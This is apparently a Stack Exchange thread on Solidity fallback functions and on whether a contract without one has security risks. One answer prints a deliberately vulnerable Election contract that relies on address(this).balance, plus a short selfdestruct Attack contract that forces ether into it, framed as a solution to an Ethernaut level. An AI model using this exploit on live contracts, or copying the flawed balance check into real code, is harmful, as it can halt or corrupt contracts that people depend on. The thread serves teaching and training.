2

Here is the short definition about fallback function in solidity:

Solidity fallback function does not have any arguments, has external visibility and does not return anything.

What happens if there is no fallback function and someone calls non-existing function in the smart contract? Is there security complication without a fallback function?

2 Answers 2

3

The call will simple fail and revert. There are no security implications as everything will be reverted.

4
  • May the contract not collect some ether associated with the call?
    – user938363
    Commented Jan 16, 2021 at 7:36
  • No. The whole transaction reverts. All possible Ethers are returned. Commented Jan 16, 2021 at 15:11
  • @LauriPeltonen what happens if there is fallback function then? It wont cause an error even though the function doesnt exist?
    – andsilver
    Commented Jan 26, 2022 at 1:57
  • Sorry but the questions doesn't make sense. Either it exists or it doesn't exist. Commented Jan 26, 2022 at 6:26
1

In most cases, the call will fail and revert but there are exceptions. A contract could self-destruct and forcefully send ether to another contract, even if that contract is missing a fallback function. This could cause security implications resulting in unexpected behavior whenever it checks address(this).balance.

In the following example, sending 1 ETH would end voting prematurely:

contract Election {
    uint public yesVotes;
    uint public noVotes;

    // stop after 100 votes
    function vote(bool _forOrAgainst) public payable {
        // Each voter pays 0.01 ETH
        require(msg.value == 1e16, "Please send exactly 0.01 ETH");

        // A hacker could end voting before 100 votes by sending ether so
        // that the contract's balance >= 1 ether
        require(address(this).balance < 1e18, "Voting has closed");
        _forOrAgainst ? yesVotes++ : noVotes++;
    }
}

Warning: Spoiler ahead for those who are attempting Ethernaut as it is the solution to one of the levels.

Calling the code below would allow you to send ether to a contract without a fallback function. It can be used against the contract above to stop the voting process prematurely.


 contract Attack {
     function attack(address payable addr) public payable {
         selfdestruct(addr);
     }
 }
 

This article also gives another example of how to hack a contract using selfdestruct.

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service and acknowledge you have read our privacy policy.

Not the answer you're looking for? Browse other questions tagged or ask your own question.